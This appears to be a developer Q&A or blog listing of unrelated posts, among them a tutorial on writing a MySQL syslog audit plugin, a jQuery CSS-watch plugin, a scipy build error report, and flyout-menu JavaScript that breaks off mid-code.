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  • MySQL Syslog Audit Plugin

    - by jonathonc
    This post shows the construction process of the Syslog Audit plugin that was presented at MySQL Connect 2012. It is based on an environment that has the appropriate development tools enabled including gcc,g++ and cmake. It also assumes you have downloaded the MySQL source code (5.5.16 or higher) and have compiled and installed the system into the /usr/local/mysql directory ready for use.  The information provided below is designed to show the different components that make up a plugin, and specifically an audit type plugin, and how it comes together to be used within the MySQL service. The MySQL Reference Manual contains information regarding the plugin API and how it can be used, so please refer there for more detailed information. The code in this post is designed to give the simplest information necessary, so handling every return code, managing race conditions etc is not part of this example code. Let's start by looking at the most basic implementation of our plugin code as seen below: /*    Copyright (c) 2012, Oracle and/or its affiliates. All rights reserved.    Author:  Jonathon Coombes    Licence: GPL    Description: An auditing plugin that logs to syslog and                 can adjust the loglevel via the system variables. */ #include <stdio.h> #include <string.h> #include <mysql/plugin_audit.h> #include <syslog.h> There is a commented header detailing copyright/licencing and meta-data information and then the include headers. The two important include statements for our plugin are the syslog.h plugin, which gives us the structures for syslog, and the plugin_audit.h include which has details regarding the audit specific plugin api. Note that we do not need to include the general plugin header plugin.h, as this is done within the plugin_audit.h file already. To implement our plugin within the current implementation we need to add it into our source code and compile. > cd /usr/local/src/mysql-5.5.28/plugin > mkdir audit_syslog > cd audit_syslog A simple CMakeLists.txt file is created to manage the plugin compilation: MYSQL_ADD_PLUGIN(audit_syslog audit_syslog.cc MODULE_ONLY) Run the cmake  command at the top level of the source and then you can compile the plugin using the 'make' command. This results in a compiled audit_syslog.so library, but currently it is not much use to MySQL as there is no level of api defined to communicate with the MySQL service. Now we need to define the general plugin structure that enables MySQL to recognise the library as a plugin and be able to install/uninstall it and have it show up in the system. The structure is defined in the plugin.h file in the MySQL source code.  /*   Plugin library descriptor */ mysql_declare_plugin(audit_syslog) {   MYSQL_AUDIT_PLUGIN,           /* plugin type                    */   &audit_syslog_descriptor,     /* descriptor handle               */   "audit_syslog",               /* plugin name                     */   "Author Name",                /* author                          */   "Simple Syslog Audit",        /* description                     */   PLUGIN_LICENSE_GPL,           /* licence                         */   audit_syslog_init,            /* init function     */   audit_syslog_deinit,          /* deinit function */   0x0001,                       /* plugin version                  */   NULL,                         /* status variables        */   NULL,                         /* system variables                */   NULL,                         /* no reserves                     */   0,                            /* no flags                        */ } mysql_declare_plugin_end; The general plugin descriptor above is standard for all plugin types in MySQL. The plugin type is defined along with the init/deinit functions and interface methods into the system for sharing information, and various other metadata information. The descriptors have an internally recognised version number so that plugins can be matched against the api on the running server. The other details are usually related to the type-specific methods and structures to implement the plugin. Each plugin has a type-specific descriptor as well which details how the plugin is implemented for the specific purpose of that plugin type. /*   Plugin type-specific descriptor */ static struct st_mysql_audit audit_syslog_descriptor= {   MYSQL_AUDIT_INTERFACE_VERSION,                        /* interface version    */   NULL,                                                 /* release_thd function */   audit_syslog_notify,                                  /* notify function      */   { (unsigned long) MYSQL_AUDIT_GENERAL_CLASSMASK |                     MYSQL_AUDIT_CONNECTION_CLASSMASK }  /* class mask           */ }; In this particular case, the release_thd function has not been defined as it is not required. The important method for auditing is the notify function which is activated when an event occurs on the system. The notify function is designed to activate on an event and the implementation will determine how it is handled. For the audit_syslog plugin, the use of the syslog feature sends all events to the syslog for recording. The class mask allows us to determine what type of events are being seen by the notify function. There are currently two major types of event: 1. General Events: This includes general logging, errors, status and result type events. This is the main one for tracking the queries and operations on the database. 2. Connection Events: This group is based around user logins. It monitors connections and disconnections, but also if somebody changes user while connected. With most audit plugins, the principle behind the plugin is to track changes to the system over time and counters can be an important part of this process. The next step is to define and initialise the counters that are used to track the events in the service. There are 3 counters defined in total for our plugin - the # of general events, the # of connection events and the total number of events.  static volatile int total_number_of_calls; /* Count MYSQL_AUDIT_GENERAL_CLASS event instances */ static volatile int number_of_calls_general; /* Count MYSQL_AUDIT_CONNECTION_CLASS event instances */ static volatile int number_of_calls_connection; The init and deinit functions for the plugin are there to be called when the plugin is activated and when it is terminated. These offer the best option to initialise the counters for our plugin: /*  Initialize the plugin at server start or plugin installation. */ static int audit_syslog_init(void *arg __attribute__((unused))) {     openlog("mysql_audit:",LOG_PID|LOG_PERROR|LOG_CONS,LOG_USER);     total_number_of_calls= 0;     number_of_calls_general= 0;     number_of_calls_connection= 0;     return(0); } The init function does a call to openlog to initialise the syslog functionality. The parameters are the service to log under ("mysql_audit" in this case), the syslog flags and the facility for the logging. Then each of the counters are initialised to zero and a success is returned. If the init function is not defined, it will return success by default. /*  Terminate the plugin at server shutdown or plugin deinstallation. */ static int audit_syslog_deinit(void *arg __attribute__((unused))) {     closelog();     return(0); } The deinit function will simply close our syslog connection and return success. Note that the syslog functionality is part of the glibc libraries and does not require any external factors.  The function names are what we define in the general plugin structure, so these have to match otherwise there will be errors. The next step is to implement the event notifier function that was defined in the type specific descriptor (audit_syslog_descriptor) which is audit_syslog_notify. /* Event notifier function */ static void audit_syslog_notify(MYSQL_THD thd __attribute__((unused)), unsigned int event_class, const void *event) { total_number_of_calls++; if (event_class == MYSQL_AUDIT_GENERAL_CLASS) { const struct mysql_event_general *event_general= (const struct mysql_event_general *) event; number_of_calls_general++; syslog(audit_loglevel,"%lu: User: %s Command: %s Query: %s\n", event_general->general_thread_id, event_general->general_user, event_general->general_command, event_general->general_query ); } else if (event_class == MYSQL_AUDIT_CONNECTION_CLASS) { const struct mysql_event_connection *event_connection= (const struct mysql_event_connection *) event; number_of_calls_connection++; syslog(audit_loglevel,"%lu: User: %s@%s[%s] Event: %d Status: %d\n", event_connection->thread_id, event_connection->user, event_connection->host, event_connection->ip, event_connection->event_subclass, event_connection->status ); } }   In the case of an event, the notifier function is called. The first step is to increment the total number of events that have occurred in our database.The event argument is then cast into the appropriate event structure depending on the class type, of general event or connection event. The event type counters are incremented and details are sent via the syslog() function out to the system log. There are going to be different line formats and information returned since the general events have different data compared to the connection events, even though some of the details overlap, for example, user, thread id, host etc. On compiling the code now, there should be no errors and the resulting audit_syslog.so can be loaded into the server and ready to use. Log into the server and type: mysql> INSTALL PLUGIN audit_syslog SONAME 'audit_syslog.so'; This will install the plugin and will start updating the syslog immediately. Note that the audit plugin attaches to the immediate thread and cannot be uninstalled while that thread is active. This means that you cannot run the UNISTALL command until you log into a different connection (thread) on the server. Once the plugin is loaded, the system log will show output such as the following: Oct  8 15:33:21 machine mysql_audit:[8337]: 87: User: root[root] @ localhost []  Command: (null)  Query: INSTALL PLUGIN audit_syslog SONAME 'audit_syslog.so' Oct  8 15:33:21 machine mysql_audit:[8337]: 87: User: root[root] @ localhost []  Command: Query  Query: INSTALL PLUGIN audit_syslog SONAME 'audit_syslog.so' Oct  8 15:33:40 machine mysql_audit:[8337]: 87: User: root[root] @ localhost []  Command: (null)  Query: show tables Oct  8 15:33:40 machine mysql_audit:[8337]: 87: User: root[root] @ localhost []  Command: Query  Query: show tables Oct  8 15:33:43 machine mysql_audit:[8337]: 87: User: root[root] @ localhost []  Command: (null)  Query: select * from t1 Oct  8 15:33:43 machine mysql_audit:[8337]: 87: User: root[root] @ localhost []  Command: Query  Query: select * from t1 It appears that two of each event is being shown, but in actuality, these are two separate event types - the result event and the status event. This could be refined further by changing the audit_syslog_notify function to handle the different event sub-types in a different manner.  So far, it seems that the logging is working with events showing up in the syslog output. The issue now is that the counters created earlier to track the number of events by type are not accessible when the plugin is being run. Instead there needs to be a way to expose the plugin specific information to the service and vice versa. This could be done via the information_schema plugin api, but for something as simple as counters, the obvious choice is the system status variables. This is done using the standard structure and the declaration: /*  Plugin status variables for SHOW STATUS */ static struct st_mysql_show_var audit_syslog_status[]= {   { "Audit_syslog_total_calls",     (char *) &total_number_of_calls,     SHOW_INT },   { "Audit_syslog_general_events",     (char *) &number_of_calls_general,     SHOW_INT },   { "Audit_syslog_connection_events",     (char *) &number_of_calls_connection,     SHOW_INT },   { 0, 0, SHOW_INT } };   The structure is simply the name that will be displaying in the mysql service, the address of the associated variables, and the data type being used for the counter. It is finished with a blank structure to show that there are no more variables. Remember that status variables may have the same name for variables from other plugin, so it is considered appropriate to add the plugin name at the start of the status variable name to avoid confusion. Looking at the status variables in the mysql client shows something like the following: mysql> show global status like "audit%"; +--------------------------------+-------+ | Variable_name                  | Value | +--------------------------------+-------+ | Audit_syslog_connection_events | 1     | | Audit_syslog_general_events    | 2     | | Audit_syslog_total_calls       | 3     | +--------------------------------+-------+ 3 rows in set (0.00 sec) The final connectivity piece for the plugin is to allow the interactive change of the logging level between the plugin and the system. This requires the ability to send changes via the mysql service through to the plugin. This is done using the system variables interface and defining a single variable to keep track of the active logging level for the facility. /* Plugin system variables for SHOW VARIABLES */ static MYSQL_SYSVAR_STR(loglevel, audit_loglevel,                         PLUGIN_VAR_RQCMDARG,                         "User can specify the log level for auditing",                         audit_loglevel_check, audit_loglevel_update, "LOG_NOTICE"); static struct st_mysql_sys_var* audit_syslog_sysvars[] = {     MYSQL_SYSVAR(loglevel),     NULL }; So now the system variable 'loglevel' is defined for the plugin and associated to the global variable 'audit_loglevel'. The check or validation function is defined to make sure that no garbage values are attempted in the update of the variable. The update function is used to save the new value to the variable. Note that the audit_syslog_sysvars structure is defined in the general plugin descriptor to associate the link between the plugin and the system and how much they interact. Next comes the implementation of the validation function and the update function for the system variable. It is worth noting that if you have a simple numeric such as integers for the variable types, the validate function is often not required as MySQL will handle the automatic check and validation of simple types. /* longest valid value */ #define MAX_LOGLEVEL_SIZE 100 /* hold the valid values */ static const char *possible_modes[]= { "LOG_ERROR", "LOG_WARNING", "LOG_NOTICE", NULL };  static int audit_loglevel_check(     THD*                        thd,    /*!< in: thread handle */     struct st_mysql_sys_var*    var,    /*!< in: pointer to system                                         variable */     void*                       save,   /*!< out: immediate result                                         for update function */     struct st_mysql_value*      value)  /*!< in: incoming string */ {     char buff[MAX_LOGLEVEL_SIZE];     const char *str;     const char **found;     int length;     length= sizeof(buff);     if (!(str= value->val_str(value, buff, &length)))         return 1;     /*         We need to return a pointer to a locally allocated value in "save".         Here we pick to search for the supplied value in an global array of         constant strings and return a pointer to one of them.         The other possiblity is to use the thd_alloc() function to allocate         a thread local buffer instead of the global constants.     */     for (found= possible_modes; *found; found++)     {         if (!strcmp(*found, str))         {             *(const char**)save= *found;             return 0;         }     }     return 1; } The validation function is simply to take the value being passed in via the SET GLOBAL VARIABLE command and check if it is one of the pre-defined values allowed  in our possible_values array. If it is found to be valid, then the value is assigned to the save variable ready for passing through to the update function. static void audit_loglevel_update(     THD*                        thd,        /*!< in: thread handle */     struct st_mysql_sys_var*    var,        /*!< in: system variable                                             being altered */     void*                       var_ptr,    /*!< out: pointer to                                             dynamic variable */     const void*                 save)       /*!< in: pointer to                                             temporary storage */ {     /* assign the new value so that the server can read it */     *(char **) var_ptr= *(char **) save;     /* assign the new value to the internal variable */     audit_loglevel= *(char **) save; } Since all the validation has been done already, the update function is quite simple for this plugin. The first part is to update the system variable pointer so that the server can read the value. The second part is to update our own global plugin variable for tracking the value. Notice that the save variable is passed in as a void type to allow handling of various data types, so it must be cast to the appropriate data type when assigning it to the variables. Looking at how the latest changes affect the usage of the plugin and the interaction within the server shows: mysql> show global variables like "audit%"; +-----------------------+------------+ | Variable_name         | Value      | +-----------------------+------------+ | audit_syslog_loglevel | LOG_NOTICE | +-----------------------+------------+ 1 row in set (0.00 sec) mysql> set global audit_syslog_loglevel="LOG_ERROR"; Query OK, 0 rows affected (0.00 sec) mysql> show global status like "audit%"; +--------------------------------+-------+ | Variable_name                  | Value | +--------------------------------+-------+ | Audit_syslog_connection_events | 1     | | Audit_syslog_general_events    | 11    | | Audit_syslog_total_calls       | 12    | +--------------------------------+-------+ 3 rows in set (0.00 sec) mysql> show global variables like "audit%"; +-----------------------+-----------+ | Variable_name         | Value     | +-----------------------+-----------+ | audit_syslog_loglevel | LOG_ERROR | +-----------------------+-----------+ 1 row in set (0.00 sec)   So now we have a plugin that will audit the events on the system and log the details to the system log. It allows for interaction to see the number of different events within the server details and provides a mechanism to change the logging level interactively via the standard system methods of the SET command. A more complex auditing plugin may have more detailed code, but each of the above areas is what will be involved and simply expanded on to add more functionality. With the above skeleton code, it is now possible to create your own audit plugins to implement your own auditing requirements. If, however, you are not of the coding persuasion, then you could always consider the option of the MySQL Enterprise Audit plugin that is available to purchase.

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  • Monitoring Html Element CSS Changes in JavaScript

    - by Rick Strahl
    [ updated Feb 15, 2011: Added event unbinding to avoid unintended recursion ] Here's a scenario I've run into on a few occasions: I need to be able to monitor certain CSS properties on an HTML element and know when that CSS element changes. For example, I have a some HTML element behavior plugins like a drop shadow that attaches to any HTML element, but I then need to be able to automatically keep the shadow in sync with the window if the  element dragged around the window or moved via code. Unfortunately there's no move event for HTML elements so you can't tell when it's location changes. So I've been looking around for some way to keep track of the element and a specific CSS property, but no luck. I suspect there's nothing native to do this so the only way I could think of is to use a timer and poll rather frequently for the property. I ended up with a generic jQuery plugin that looks like this: (function($){ $.fn.watch = function (props, func, interval, id) { /// <summary> /// Allows you to monitor changes in a specific /// CSS property of an element by polling the value. /// when the value changes a function is called. /// The function called is called in the context /// of the selected element (ie. this) /// </summary> /// <param name="prop" type="String">CSS Properties to watch sep. by commas</param> /// <param name="func" type="Function"> /// Function called when the value has changed. /// </param> /// <param name="interval" type="Number"> /// Optional interval for browsers that don't support DOMAttrModified or propertychange events. /// Determines the interval used for setInterval calls. /// </param> /// <param name="id" type="String">A unique ID that identifies this watch instance on this element</param> /// <returns type="jQuery" /> if (!interval) interval = 200; if (!id) id = "_watcher"; return this.each(function () { var _t = this; var el$ = $(this); var fnc = function () { __watcher.call(_t, id) }; var itId = null; var data = { id: id, props: props.split(","), func: func, vals: [props.split(",").length], fnc: fnc, origProps: props, interval: interval }; $.each(data.props, function (i) { data.vals[i] = el$.css(data.props[i]); }); el$.data(id, data); hookChange(el$, id, data.fnc); }); function hookChange(el$, id, fnc) { el$.each(function () { var el = $(this); if (typeof (el.get(0).onpropertychange) == "object") el.bind("propertychange." + id, fnc); else if ($.browser.mozilla) el.bind("DOMAttrModified." + id, fnc); else itId = setInterval(fnc, interval); }); } function __watcher(id) { var el$ = $(this); var w = el$.data(id); if (!w) return; var _t = this; if (!w.func) return; // must unbind or else unwanted recursion may occur el$.unwatch(id); var changed = false; var i = 0; for (i; i < w.props.length; i++) { var newVal = el$.css(w.props[i]); if (w.vals[i] != newVal) { w.vals[i] = newVal; changed = true; break; } } if (changed) w.func.call(_t, w, i); // rebind event hookChange(el$, id, w.fnc); } } $.fn.unwatch = function (id) { this.each(function () { var el = $(this); var fnc = el.data(id).fnc; try { if (typeof (this.onpropertychange) == "object") el.unbind("propertychange." + id, fnc); else if ($.browser.mozilla) el.unbind("DOMAttrModified." + id, fnc); else clearInterval(id); } // ignore if element was already unbound catch (e) { } }); return this; } })(jQuery); With this I can now monitor movement by monitoring say the top CSS property of the element. The following code creates a box and uses the draggable (jquery.ui) plugin and a couple of custom plugins that center and create a shadow. Here's how I can set this up with the watcher: $("#box") .draggable() .centerInClient() .shadow() .watch("top", function() { $(this).shadow(); },70,"_shadow"); ... $("#box") .unwatch("_shadow") .shadow("remove"); This code basically sets up the window to be draggable and initially centered and then a shadow is added. The .watch() call then assigns a CSS property to monitor (top in this case) and a function to call in response. The component now sets up a setInterval call and keeps on pinging this property every time. When the top value changes the supplied function is called. While this works and I can now drag my window around with the shadow following suit it's not perfect by a long shot. The shadow move is delayed and so drags behind the window, but using a higher timer value is not appropriate either as the UI starts getting jumpy if the timer's set with too small of an increment. This sort of monitor can be useful for other things as well where operations are maybe not quite as time critical as a UI operation taking place. Can anybody see a better a better way of capturing movement of an element on the page?© Rick Strahl, West Wind Technologies, 2005-2011Posted in ASP.NET  JavaScript  jQuery  

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  • Runescape Private Server - How does it work?

    - by Friend of Kim
    I've seen a lot of Runescape private servers lately. How do they work? Most of them are based on the old Runescape, but a few look exactly like the real Runescape. How do they make the servers? Has the source code of the game been leaked on several occasions, and is that used to make Runescape servers? Or have some people just replicated Runescape, and tried to make the same game themselves (and "stolen" the 3D objects and texture from Jagex to make it look the same, and written the code to be able to replicate most functions of Runescape)?

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  • How to setup Java-Home and Path in Ubuntu 12.04

    - by ur truly friend
    we are new to Ubuntu.Recently we changed my server OS to ubuntu 12.04 from windows 7 . every one have their own login details. one of my college installed Open-Jdk7. I asked him, where you installed JAVA, then he suggested to switch the following directory su root cd /usr/lib/Jvm Totally 3 folders are there in JVM folder. names are. java-1.7.0-openjdk-amd64 java-7-openjdk-amd64 java-7-openjdk-common generally, If you install Java in Windows, we will get 2 folder. 1 folder is for JDKand another points to JRE. but, in Ubuntu we have 3 folders. is it right? for my conformation, whether he installed correctly or not. I open Terminal. I run the following 2 commands javac java -version both commands are working fine. now I want to set-up Java-Home and Path for all users at same place.because everyone is working on Application server. Can anyone explain step-by-step. Thanks.

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  • Will I be able to get programming interviews at good software companies with a non-CS degree?

    - by friend
    I'll be graduating in a year, but I'll have a degree in Economics. I'm pretty much done with my Economics coursework, and by the time next year comes around I will have devoted 1.5 years to learning CS. I will have almost finished the requirements to graduate with a degree in CS, but unfortunately my school requires a science series that would add another 6-9 months of study if I were to try and get the degree (not to mention a max unit cap). I have or will have taken: Objected Oriented Programming Discrete Math Data structures Calculus through multivariable (doubt this matters at all) Linear Algebra (same) Computer Organization Operating Systems Computational Statistics (many data mining projects in R) Parallel Programming Programming Languages Databases Algorithms Compilers Artificial Intelligence I've done well in the ones I've taken, and I hope to do well in the rest, but will that matter if I can't say to the HR people that I have a CS degree? I'd be happy to get an internship at first too, so should I just apply as if I'm an intern and not looking for fulltime, and then try and parlay that into something? Sidenote if you have time -- Is a computer networks or theory of computation class important? Would it be worth taking either of those in lieu of a class on my list? edit -- I know this isn't AskReddit or College Confidential; I know there will be some outrage at posting a question like this. I'm merely looking for insight into a situation that I've been struggling with, and I think this is the absolute best place to find an answer to this question. Thanks.

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  • Fast language for problem solving? [closed]

    - by Friend of Kim
    I learned PHP to make websites. After some years I've started using programming for solving what is difficult tasks for my level. Now I want to make a program that solves equations. (I want to write it myself, not use an API. Because I'm doing this for the sake of the challenge, not for the result..) Because of this, I'm going to learn a new and faster/better language. It's going to be C++, Java, Python or C#. What are the benefits of each language, and which language is best for speed compared to speed of writing and readability? Using C would be lightning fast, but the lack of OO is making for more complex code and reduces the readability, for example..

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  • Error installing scipy on Mountain Lion with Xcode 4.5.1

    - by Xster
    Environment: Mountain Lion 10.8.2, Xcode 4.5.1 command line tools, Python 2.7.3, virtualenv 1.8.2 and numpy 1.6.2 When installing scipy with pip install -e "git+https://github.com/scipy/scipy#egg=scipy-dev" on a fresh virtualenv. llvm-gcc: scipy/sparse/linalg/eigen/arpack/ARPACK/FWRAPPERS/veclib_cabi_c.c In file included from /System/Library/Frameworks/vecLib.framework/Headers/vecLib.h:43, from /System/Library/Frameworks/Accelerate.framework/Headers/Accelerate.h:20, from scipy/sparse/linalg/eigen/arpack/ARPACK/FWRAPPERS/veclib_cabi_c.c:2: /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:51:23: error: immintrin.h: No such file or directory In file included from /System/Library/Frameworks/vecLib.framework/Headers/vecLib.h:43, from /System/Library/Frameworks/Accelerate.framework/Headers/Accelerate.h:20, from scipy/sparse/linalg/eigen/arpack/ARPACK/FWRAPPERS/veclib_cabi_c.c:2: /System/Library/Frameworks/vecLib.framework/Headers/vfp.h: In function ‘vceilf’: /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:53: error: incompatible types in return /System/Library/Frameworks/vecLib.framework/Headers/vfp.h: In function ‘vfloorf’: /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:54: error: incompatible types in return /System/Library/Frameworks/vecLib.framework/Headers/vfp.h: In function ‘vintf’: /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:55: error: ‘_MM_FROUND_TRUNC’ undeclared (first use in this function) /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:55: error: (Each undeclared identifier is reported only once /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:55: error: for each function it appears in.) /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:55: error: incompatible types in return /System/Library/Frameworks/vecLib.framework/Headers/vfp.h: In function ‘vnintf’: /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:56: error: ‘_MM_FROUND_NINT’ undeclared (first use in this function) /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:56: error: incompatible types in return In file included from /System/Library/Frameworks/vecLib.framework/Headers/vecLib.h:43, from /System/Library/Frameworks/Accelerate.framework/Headers/Accelerate.h:20, from scipy/sparse/linalg/eigen/arpack/ARPACK/FWRAPPERS/veclib_cabi_c.c:2: /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:51:23: error: immintrin.h: No such file or directory In file included from /System/Library/Frameworks/vecLib.framework/Headers/vecLib.h:43, from /System/Library/Frameworks/Accelerate.framework/Headers/Accelerate.h:20, from scipy/sparse/linalg/eigen/arpack/ARPACK/FWRAPPERS/veclib_cabi_c.c:2: /System/Library/Frameworks/vecLib.framework/Headers/vfp.h: In function ‘vceilf’: /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:53: error: incompatible types in return /System/Library/Frameworks/vecLib.framework/Headers/vfp.h: In function ‘vfloorf’: /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:54: error: incompatible types in return /System/Library/Frameworks/vecLib.framework/Headers/vfp.h: In function ‘vintf’: /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:55: error: ‘_MM_FROUND_TRUNC’ undeclared (first use in this function) /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:55: error: (Each undeclared identifier is reported only once /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:55: error: for each function it appears in.) /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:55: error: incompatible types in return /System/Library/Frameworks/vecLib.framework/Headers/vfp.h: In function ‘vnintf’: /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:56: error: ‘_MM_FROUND_NINT’ undeclared (first use in this function) /System/Library/Frameworks/vecLib.framework/Headers/vfp.h:56: error: incompatible types in return error: Command "/usr/bin/llvm-gcc -fno-strict-aliasing -Os -w -pipe -march=core2 -msse4 -fwrapv -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -Iscipy/sparse/linalg/eigen/arpack/ARPACK/SRC -I/Users/xiao/.virtualenv/lib/python2.7/site-packages/numpy/core/include -c scipy/sparse/linalg/eigen/arpack/ARPACK/FWRAPPERS/veclib_cabi_c.c -o build/temp.macosx-10.4-x86_64-2.7/scipy/sparse/linalg/eigen/arpack/ARPACK/FWRAPPERS/veclib_cabi_c.o" failed with exit status 1 Is it supposed to be looking for headers from my system frameworks? Is the development version of scipy no longer good for the latest version of Mountain Lion/Xcode?

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  • jquery and requirejs and knockout; reference requirejs object from within itself

    - by Thomas
    We use jquery and requirejs to create a 'viewmodel' like this: define('vm.inkoopfactuurAanleveren', ['jquery', 'underscore', 'ko', 'datacontext', 'router', 'messenger', 'config', 'store'], function ($, _, ko, datacontext, router, messenger, config, store) { var isBusy = false, isRefreshing = false, inkoopFactuur = { factuurNummer: ko.observable("AAA") }, activate = function (routeData, callback) { messenger.publish.viewModelActivated({ canleaveCallback: canLeave }); getNewInkoopFactuurAanleveren(callback); var restricteduploader = new qq.FineUploader({ element: $('#restricted-fine-uploader')[0], request: { endpoint: 'api/InkoopFactuurAanleveren', forceMultipart: true }, multiple: false, failedUploadTextDisplay: { mode: 'custom', maxChars: 250, responseProperty: 'error', enableTooltip: true }, text: { uploadButton: 'Click or Drop' }, showMessage: function (message) { $('#restricted-fine-uploader').append('<div class="alert alert-error">' + message + '</div>'); }, debug: true, callbacks: { onComplete: function (id, fileName, responseJSON) { var response = responseJSON; }, } }); }, invokeFunctionIfExists = function (callback) { if (_.isFunction(callback)) { callback(); } }, loaded = function (factuur) { inkoopFactuur = factuur; var ids = config.viewIds; ko.applyBindings(this, getView(ids.inkoopfactuurAanleveren)); /*<----- THIS = OUT OF SCOPE!*/ / }, bind = function () { }, saved = function (success) { var s = success; }, saveCmd = ko.asyncCommand({ execute: function (complete) { $.when(datacontext.saveNewInkoopFactuurAanleveren(inkoopFactuur)) .then(saved).always(complete); return; }, canExecute: function (isExecuting) { return true; } }), getView = function (viewName) { return $(viewName).get(0); }, getNewInkoopFactuurAanleveren = function (callback) { if (!isRefreshing) { isRefreshing = true; $.when(datacontext.getNewInkoopFactuurAanleveren(dataOptions(true))).then(loaded).always(invokeFunctionIfExists(callback)); isRefreshing = false; } }, dataOptions = function (force) { return { results: inkoopFactuur, // filter: sessionFilter, //sortFunction: sort.sessionSort, forceRefresh: force }; }, canLeave = function () { return true; }, forceRefreshCmd = ko.asyncCommand({ execute: function (complete) { //$.when(datacontext.sessions.getSessionsAndAttendance(dataOptions(true))) // .always(complete); complete; } }), init = function () { // activate(); // Bind jQuery delegated events //eventDelegates.sessionsListItem(gotoDetails); //eventDelegates.sessionsFavorite(saveFavorite); // Subscribe to specific changes of observables //addFilterSubscriptions(); }; init(); return { activate: activate, canLeave: canLeave, inkoopFactuur: inkoopFactuur, saveCmd: saveCmd, forceRefreshCmd: forceRefreshCmd, bind: bind, invokeFunctionIfExists: invokeFunctionIfExists }; }); On the line ko.applyBindings(this, getView(ids.inkoopfactuurAanleveren)); in the 'loaded' method the 'this' keyword doens't refer to the 'viewmodel' object. the 'self' keyword seems to refer to a combination on methods found over multiple 'viewmodels'. The saveCmd property is bound through knockout, but gives an error since it cannot be found. How can the ko.applyBindings get the right reference to the viewmodel? In other words, with what do we need to replace the 'this' keyword int he applyBindings. I would imagine you can 'ask' requirejs to give us the ealiers instantiated object with identifier 'vm.inkoopfactuurAanleveren' but I cannot figure out how.

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  • Convert flyout menu to respond onclick vs mouseover

    - by Scott B
    The code below creates a nifty flyout menu action on a nested list item sequence. The client has called and wants the change the default behavior in which the flyouts are triggered by mouseover, so that you have to click to trigger a flyout. Ideally, I would just like to modify this code so that you click on a small icon (plus/minus) that sits to the right of the menu item if it has child menus. Can someone give me a bit of guidance on what bits I'd need to change to accomplish this? /* a few sniffs to circumvent known browser bugs */ var sUserAgent = navigator.userAgent.toLowerCase(); var isIE=document.all?true:false; var isNS4=document.layers?true:false; var isOp=(sUserAgent.indexOf('opera')!=-1)?true:false; var isMac=(sUserAgent.indexOf('mac')!=-1)?true:false; var isMoz=(sUserAgent.indexOf('mozilla/5')!=-1&&sUserAgent.indexOf('opera')==-1&&sUserAgent.indexOf('msie')==-1)?true:false; var isNS6=(sUserAgent.indexOf('netscape6')!=-1&&sUserAgent.indexOf('opera')==-1&&sUserAgent.indexOf('msie')==-1)?true:false; var dom=document.getElementById?true:false; /* sets time until menus disappear in milliseconds */ var iMenuTimeout=1500; var aMenus=new Array; var oMenuTimeout; var iMainMenusLength=0; /* the following boolean controls the z-index property if needed */ /* if is only necessary if you have multiple mainMenus in one file that are overlapping */ /* set bSetZIndeces to true (either here or in the HTML) and the main menus will have a z-index set in descending order so that preceding ones can overlap */ /* the integer iStartZIndexAt controls z-index of the first main menu */ var bSetZIndeces=true; var iStartZIndexAt=1000; var aMainMenus=new Array; /* load up the submenus */ function loadMenus(){ if(!dom)return; var aLists=document.getElementsByTagName('ul'); for(var i=0;i<aLists.length;i++){ if(aLists[i].className=='navMenu')aMenus[aMenus.length]=aLists[i]; } var aAnchors=document.getElementsByTagName('a'); var aItems = new Array; for(var i=0;i<aAnchors.length;i++){ // if(aAnchors[i].className=='navItem')aItems[aItems.length] = aAnchors[i]; aItems[aItems.length] = aAnchors[i]; } var sMenuId=null; var oParentMenu=null; var aAllElements=document.body.getElementsByTagName("*"); if(isIE)aAllElements=document.body.all; /* loop through navItem and navMenus and dynamically assign their IDs */ /* each relies on it's parent's ID being set before it */ for(var i=0;i<aAllElements.length;i++){ if(aAllElements[i].className.indexOf('x8menus')!=-1){ /* load up main menus collection */ if(bSetZIndeces)aMainMenus[aMainMenus.length]=aAllElements[i]; } // if(aAllElements[i].className=='navItem'){ if(aAllElements[i].tagName=='A'){ oParentMenu = aAllElements[i].parentNode.parentNode; if(!oParentMenu.childMenus) oParentMenu.childMenus = new Array; oParentMenu.childMenus[oParentMenu.childMenus.length]=aAllElements[i]; if(aAllElements[i].id==''){ if(oParentMenu.className=='x8menus'){ aAllElements[i].id='navItem_'+iMainMenusLength; //alert(aAllElements[i].id); iMainMenusLength++; }else{ aAllElements[i].id=oParentMenu.id.replace('Menu','Item')+'.'+oParentMenu.childMenus.length; } } } else if(aAllElements[i].className=='navMenu'){ oParentItem = aAllElements[i].parentNode.firstChild; aAllElements[i].id = oParentItem.id.replace('Item','Menu'); } } /* dynamically set z-indeces of main menus so they won't underlap */ for(var i=aMainMenus.length-1;i>=0;i--){ aMainMenus[i].style.zIndex=iStartZIndexAt-i; } /* set menu item properties */ for(var i=0;i<aItems.length;i++){ sMenuId=aItems[i].id; sMenuId='navMenu_'+sMenuId.substring(8,sMenuId.lastIndexOf('.')); /* assign event handlers */ /* eval() used here to avoid syntax errors for function literals in Netscape 3 */ eval('aItems[i].onmouseover=function(){modClass(true,this,"activeItem");window.clearTimeout(oMenuTimeout);showMenu("'+sMenuId+'");};'); eval('aItems[i].onmouseout=function(){modClass(false,this,"activeItem");window.clearTimeout(oMenuTimeout);oMenuTimeout=window.setTimeout("hideMenu(\'all\')",iMenuTimeout);}'); eval('aItems[i].onfocus=function(){this.onmouseover();}'); eval('aItems[i].onblur=function(){this.onmouseout();}'); //aItems[i].addEventListener("keydown",function(){keyNav(this,event);},false); } var sCatId=0; var oItem; for(var i=0;i<aMenus.length;i++){ /* assign event handlers */ /* eval() used here to avoid syntax errors for function literals in Netscape 3 */ eval('aMenus[i].onmouseover=function(){window.clearTimeout(oMenuTimeout);}'); 